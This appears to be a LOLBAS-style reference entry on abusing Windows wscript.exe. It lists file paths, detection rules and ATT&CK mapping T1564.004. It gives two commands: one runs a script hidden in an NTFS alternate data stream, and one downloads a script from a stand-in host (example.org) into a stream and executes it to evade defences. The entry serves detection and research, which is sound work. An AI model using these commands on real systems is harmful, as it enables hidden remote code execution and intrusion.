.. /Wscript.exe

Star

Paths:

• C:\Windows\System32\wscript.exe
• C:\Windows\SysWOW64\wscript.exe

Resources:

• https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Acknowledgements:

• Oddvar Moe (@oddvarmoe)
• SaiLay(valen) (@404death)

Detections:

• Sigma: proc_creation_win_wscript_cscript_script_exec.yml
• Sigma: file_event_win_net_cli_artefact.yml
• Sigma: image_load_susp_script_dotnet_clr_dll_load.yml
• Elastic: defense_evasion_unusual_dir_ads.toml
• Elastic: command_and_control_remote_file_copy_scripts.toml
• Elastic: defense_evasion_suspicious_managedcode_host_process.toml
• Splunk: wscript_or_cscript_suspicious_child_process.yml
• BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
• IOC: Wscript.exe executing code from alternate data streams
• IOC: DotNet CLR libraries loaded into wscript.exe
• IOC: DotNet CLR Usage Log - wscript.exe.log

Alternate data streams

1. Execute script stored in an alternate data stream

   wscript //e:vbscript file.ext:script.vbs

   Use case

   Execute hidden code to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1564.004: NTFS File Attributes

   Tags

   Execute: WSH

2. Download and execute script stored in an alternate data stream

   echo GetObject("script:https://www.example.org/file.js") > C:\Windows\Temp\file.ext:hi.js && wscript.exe C:\Windows\Temp\file.ext:hi.js

   Use case

   Execute hidden code to evade defensive counter measures

   Privileges required

   User

   Operating systems

   Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

   ATT&CK® technique

   T1564.004: NTFS File Attributes